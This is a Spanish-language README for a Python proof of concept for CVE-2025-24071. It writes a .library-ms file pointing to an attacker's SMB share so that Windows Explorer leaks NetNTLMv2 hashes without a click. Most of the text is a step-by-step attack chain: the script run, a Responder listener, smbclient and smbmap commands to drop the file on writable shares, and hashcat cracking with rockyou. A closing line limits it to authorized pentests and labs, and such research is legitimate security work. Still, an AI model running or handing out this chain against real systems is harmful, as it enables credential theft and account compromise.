
PoC en Python para CVE-2025-24071 que crea un archivo .library-ms para forzar a Windows Explorer a filtrar hashes NetNTLMv2 a través de SMB para su captura y cracking.
CVE-2025-24071 — coerción NTLM mediante .library-ms (método SMB / TAR)
Solicita tu IP de ataque y un nombre de archivo, escribe un .library-ms apuntando a
\\<IP>\share, y lo empaqueta en exploit.tar. Cuando el Explorador examina la carpeta donde
acaba el .library-ms suelto, resuelve automáticamente esa ruta UNC y filtra el
NTLMv2 de la cuenta hacia tu listener — sin necesidad de clic.
⚠️ El
.library-mssuelto es lo que se dispara — no el.tar. Un.taren el recurso compartido es inerte; el Explorador no analiza archivos tar. Debes colocar el.library-msen sí mismo en el recurso compartido como archivo suelto. Cómo lo hagas depende de la herramienta (abajo).
uv run coerce_library.py # or: python3 coerce_library.py
Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms -> \\10.10.14.197\share
[+] packed into exploit.tar
sudo responder -I tun0
.library-ms en un recurso compartido con permisos de escriturasmbclient — sube el .tar, extráelo en el lado del servidor con tar x (deja el
.library-ms suelto junto a él):
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'
smbmap — no tiene paso de extracción, así que sube el .library-ms suelto directamente
(subir el .tar aquí no hace nada — no puede descomprimirlo):
smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'
Confirma que quedó suelto en el recurso compartido:
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
☧ solo para pruebas de penetración autorizadas / CTF / laboratorio ☧